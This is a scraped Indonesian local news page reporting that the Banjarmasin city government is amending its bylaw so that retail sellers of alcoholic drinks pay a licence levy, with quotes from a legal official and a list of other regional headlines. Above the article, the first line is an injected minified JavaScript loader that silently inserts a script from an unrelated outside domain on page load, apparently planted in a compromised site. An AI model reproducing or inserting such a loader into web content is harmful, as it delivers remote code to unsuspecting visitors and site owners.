(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Perda Minuman Beralkohol Segera Diubah, Penjual Ditarik Retribusi


BANJARMASIN, Pemko Banjarmasin sedang dalam tahap mengatur Perda perubahan retribusi minuman beralkohol (minol). Disampaikan oleh Kasubag Perundang-undangan Setdakot Banjarmasin Jefri Fransyah, niat untuk menyelaraskan dengan perda luas.

“Nah Perda kita yang 2017 itu Surat Izin Usaha Perdagangan Minuman Beralkohol (SIUP-MB) penjualan minuman berlakohol ada dua. Ada eceran, ada untuk minum di tempat, seperti di hotel, bar, dan sebagainya,” jelasnya.

Pada Perda rertribusi Pemko Banjarmasin yang ada, SIUP-MB hanya memungut minuman beralkohol yang berada di tempat saja. “Sedangkan untuk yang eceran belum ada. Oleh sebab itu Perda ini mulai diatur,” jelas Jefri.

“Kalau ini tidak diatur, ketika ada yang mengajukan izin penjualan secara eceran, Pemko tidak bisa menarik retribusinya. Karena dasarnya tidak ada,” jelasnya.

Walaupun sementara ini belum ada yang mengajukan, tapi Perda ini dibuat guna antisipasi. Serta tentu juga dalam rangka harmonisasi antara Perda satu dan yang lainnya.

Dijelaskan lebih lanjut oleh Jefri, minuman beralkohol sendiri sudah dilegalkan melalui ketentuan pusat.  “Mengikuti hierarki yang lebih tinggi, secara aturan (minuman beralkohol) sudah terlegalkan dari aturan atasnya. Minuman beralkohol ini ada PP-nya, dan Permendag di 2016. Di Permendag itu ada diatur untuk eceran dari mini market, supermarket, dan hyper market boleh jual minuman keras. Ternyata Permendag itu ramai, lalu ada perubahan. Penjualan minuman beralkohol di mini market dihilangkan,” bebernya.

Ia juga menuturkan bahwa perda harus harmonis dengan peraturan yang lebih tinggi, dalam hal ini PP dan Permendag.  “Retribusi hanya mengikuti, serta bicara nominal,” pungkasnya. (mario)

Reporter:Mario
Editor:Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.